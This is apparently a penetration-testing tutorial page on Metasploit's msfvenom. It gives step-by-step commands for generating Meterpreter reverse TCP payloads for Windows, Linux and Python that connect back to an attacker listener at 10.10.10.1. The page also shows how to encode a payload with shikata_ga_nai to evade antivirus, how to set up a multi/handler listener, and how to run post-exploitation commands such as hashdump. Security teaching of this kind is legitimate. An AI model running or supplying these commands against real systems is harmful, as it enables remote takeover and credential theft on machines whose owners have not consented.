msfvenom

Msfvenom is a command-line tool within the Metasploit Framework that combines the functionality of the older msfpayload and msfencode tools. It is primarily used to generate and encode payloads for various platforms and architectures. These payloads can be used in penetration testing to exploit vulnerabilities, gain access to systems, and perform post-exploitation activities.

Key Features of Msfvenom

  • Payload Generation: Create payloads for multiple platforms (Windows, Linux, macOS, Android, etc.).

  • Output Formats: Generate payloads in various formats, such as executables (.exe), scripts (.py, .php), or raw shellcode.

  • Encoding: Encode payloads to evade detection by antivirus software.

  • Integration: Seamlessly integrate with Metasploit’s multi/handler module for exploitation.

Understanding the Msfvenom Command

Let’s break down a typical msfvenom command to understand its components. The following command generates a 64-bit Windows Meterpreter reverse TCP payload:

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=1234 -f exe > payload.exe

Components of the Command

  1. -a x64: Specifies the architecture of the payload. In this case, it is set to x64 (64-bit). Other options include x86 (32-bit) or armle (ARM architecture).

  2. -p windows/x64/meterpreter/reverse_tcp: Specifies the payload type. Here, it is a Windows x64 Meterpreter reverse TCP payload.

    • Meterpreter: A powerful, in-memory payload that provides advanced post-exploitation capabilities.

    • Reverse TCP: The payload connects back to the attacker’s machine (specified by LHOST).

  3. LHOST=10.10.10.1: The IP address of the attacker’s machine (listener). The payload will connect back to this address. Replace 10.10.10.1 with your actual IP or host.

  4. LPORT=1234: The port on the attacker’s machine that the payload will connect to. Replace 1234 with your desired port number.

  5. -f exe: Specifies the output format. In this case, it generates a Windows executable (.exe). Other formats include raw, hex, python, php, asp, war, etc.

  6. > payload.exe: Redirects the output to a file named payload.exe. This file is the generated payload that can be executed on the target system.

Setting Up a Listener in Metasploit

Once the payload is generated, you need to set up a listener in Metasploit to handle the incoming connection from the payload. Here’s how to do it:

  1. Start msfconsole: Open the Metasploit Framework console.

    $ msfconsole
  2. Use the Multi/Handler Module: The multi/handler module is used to listen for incoming connections from the payload.

    msf6> use exploit/multi/handler
  3. Set the Payload and Options: Configure the same payload and options used in the msfvenom command.

    msf6> set payload windows/x64/meterpreter/reverse_tcp
    msf6> set LHOST 10.10.10.1
    msf6> set LPORT 1234
  4. Run the Listener: Start the listener to wait for the payload to connect.

    msf6> run
  5. Execute the Payload on the Target: Once the payload (payload.exe) is executed on the target machine, a Meterpreter session will be established.

Advanced Msfvenom Features

1. Encoding Payloads

Encoding payloads can help evade detection by antivirus software. Msfvenom supports various encoders, such as x86/shikata_ga_nai. Example:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=1234 -f exe -e x64/shikata_ga_nai -i 5 > payload.exe
  • -e x64/shikata_ga_nai: Specifies the encoder.

  • -i 5: Number of iterations for encoding.

2. Generating Payloads for Other Platforms

Msfvenom supports multiple platforms and formats. For example, to generate a Linux payload:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=1234 -f elf > payload.elf

3. Custom Output Formats

Msfvenom can generate payloads in various formats, such as Python, PHP, or ASP. For example, to generate a Python payload:

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=1234 -f raw > payload.py

Practical Example: Generating and Using a Payload

Step 1: Generate the Payload

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=1234 -f exe > payload.exe

Step 2: Set Up the Listener in Metasploit

msf6> use exploit/multi/handler
msf6> set payload windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 10.10.10.1
msf6> set LPORT 1234
msf6> run

Step 3: Execute the Payload on the Target

Run the payload.exe file on the target machine. Once executed, a Meterpreter session will be established.

Step 4: Perform Post-Exploitation Tasks

Use Meterpreter to perform advanced post-exploitation tasks, such as:

  • Gathering system information:

    meterpreter> sysinfo
  • Dumping password hashes:

    meterpreter> hashdump
  • Migrating to another process:

    meterpreter> migrate <PID>

References

Last updated